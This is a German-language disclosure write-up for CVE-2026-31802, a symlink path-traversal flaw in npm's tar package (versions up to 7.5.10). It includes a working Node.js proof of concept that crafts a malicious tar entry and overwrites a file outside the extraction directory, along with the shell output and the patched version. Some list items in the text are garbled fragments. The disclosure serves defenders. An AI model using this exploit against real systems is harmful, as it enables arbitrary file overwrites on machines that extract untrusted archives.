
Proof of Concept und technische Ausarbeitung für CVE-2026-31802, eine Symlink-Pfad-Traversal in npm tar, die das Überschreiben beliebiger Dateien außerhalb des Extraktionsverzeichnisses ermöglicht.
Forschung: Joshua van Rijswijk
Dieses Repository enthält meinen Proof of Concept und meinen Bericht zu CVE-2026-31802, einer Schwachstelle mit hohem Schweregrad im npm-Paket tar (node-tar), die Versionen <= 7.5.10 betrifft.
Ich habe festgestellt, dass tar dazu gebracht werden kann, einen Symlink zu erstellen, der außerhalb des vorgesehenen Extraktionsverzeichnisses zeigt, indem ein laufwerksrelatives Symlink-Ziel wie C:../../../target.txt verwendet wird. In der Praxis ermöglicht dies, während der Extraktion aus cwd auszubrechen und die Archivextraktion in eine beliebige Dateiüberschreibungs-Primitive zu verwandeln.
Der Fehler ist über normales Extraktionsverhalten mit angreiferkontrollierten Tar-Archiven erreichbar.
Bei der Untersuchung, wie tar die Symlink-Extraktion handhabt, ist mir aufgefallen, dass bestimmte linkpath-Werte während der Bereinigung und Validierung inkonsistent behandelt wurden. Insbesondere laufwerksrelative Pfade wie:
C:../../../target.txt
wurden vor der Verwendung umgeschrieben, aber nicht in derselben Form validiert, in der sie letztendlich gespeichert und angewendet wurden.
Diese Diskrepanz macht den Fehler ausnutzbar.
Die Schwachstelle entsteht dadurch, wie tar manipulierte Symlink-linkpath-Werte während der Extraktion verarbeitet.
Auf hoher Ebene entfernt die Extraktionslogik das Laufwerkspräfix von einem Pfad wie:
C:../../../target.txt
und schreibt ihn um zu:
../../../target.txt
Die Traversal-Sicherheitsprüfung wird jedoch gegen den ursprünglichen Wert vor dem Entfernen durchgeführt, während die Symlink-Erstellung später den umgeschriebenen Wert verwendet.
Das bedeutet, dass ein bösartiges Archiv die Validierung mit einer Form des Pfads bestehen kann, aber dennoch einen Symlink erzeugt, der beim Schreiben auf die Festplatte außerhalb des Extraktionsverzeichnisses traversiert.
Ein bösartiges Archiv kann einen Symlink-Eintrag wie diesen enthalten:
path: a/b/l
type: SymbolicLink
linkpath: C:../../../target.txt
Bei der Extraktion mit normaler Verwendung wie:
tar.x({ cwd, file })
passiert Folgendes:
linkpath entfernt.cwd.Mit anderen Worten: Die Extraktionslogik validiert einen Wert und verwendet einen anderen. Diese Lücke erzeugt die Traversal-Primitive.
Ich habe den folgenden PoC geschrieben, um zu demonstrieren, dass ein extrahierter Symlink dazu gebracht werden kann, außerhalb des Extraktionsstamms zu zeigen und dann verwendet werden kann, um eine Datei außerhalb des Arbeitsverzeichnisses zu überschreiben.
Der PoC:
../target.txta/b/llinkpath auf C:../../../target.txta/b/lPoC-Skript:
const fs = require('fs')
const path = require('path')
const { Header, x } = require('tar')
const cwd = process.cwd()
const target = path.resolve(cwd, '..', 'target.txt')
const tarFile = path.join(cwd, 'poc.tar')
fs.writeFileSync(target, 'ORIGINAL\n')
const b = Buffer.alloc(1536)
new Header({
path: 'a/b/l',
type: 'SymbolicLink',
linkpath: 'C:../../../target.txt',
}).encode(b, 0)
fs.writeFileSync(tarFile, b)
x({ cwd, file: tarFile }).then(() => {
fs.writeFileSync(path.join(cwd, 'a/b/l'), 'PWNED\n')
process.stdout.write(fs.readFileSync(target, 'utf8'))
})
npm install [email protected]
node poc.cjs && readlink a/b/l && ls -l a/b/l ../target.txt
PWNED
../../../target.txt
lrwxrwxrwx ... a/b/l -> ../../../target.txt
-rw-r--r-- ... ../target.txt
PWNED bestätigt, dass die Datei außerhalb des Extraktionsverzeichnisses überschrieben wurde.
Die readlink-Ausgabe und die Dateiauflistung zeigen, dass der extrahierte Symlink außerhalb des vorgesehenen Extraktionsstamms zeigt.
Dieses Problem gibt einem Angreifer eine beliebige Dateiüberschreibungs-Primitive außerhalb des vorgesehenen Extraktionsverzeichnisses, mit den Berechtigungen des Prozesses, der die Extraktion durchführt.
Realistische Szenarien umfassen:
In diesen Umgebungen kann ein manipuliertes Archiv Schreibvorgänge außerhalb des Verzeichnisses verursachen, das die Anwendung zu kontrollieren erwartet.
tar <= 7.5.10tar 7.5.11Dieses Problem wurde in 7.5.11 gepatcht.
Benutzer sollten sofort aktualisieren:
npm install tar@^7.5.11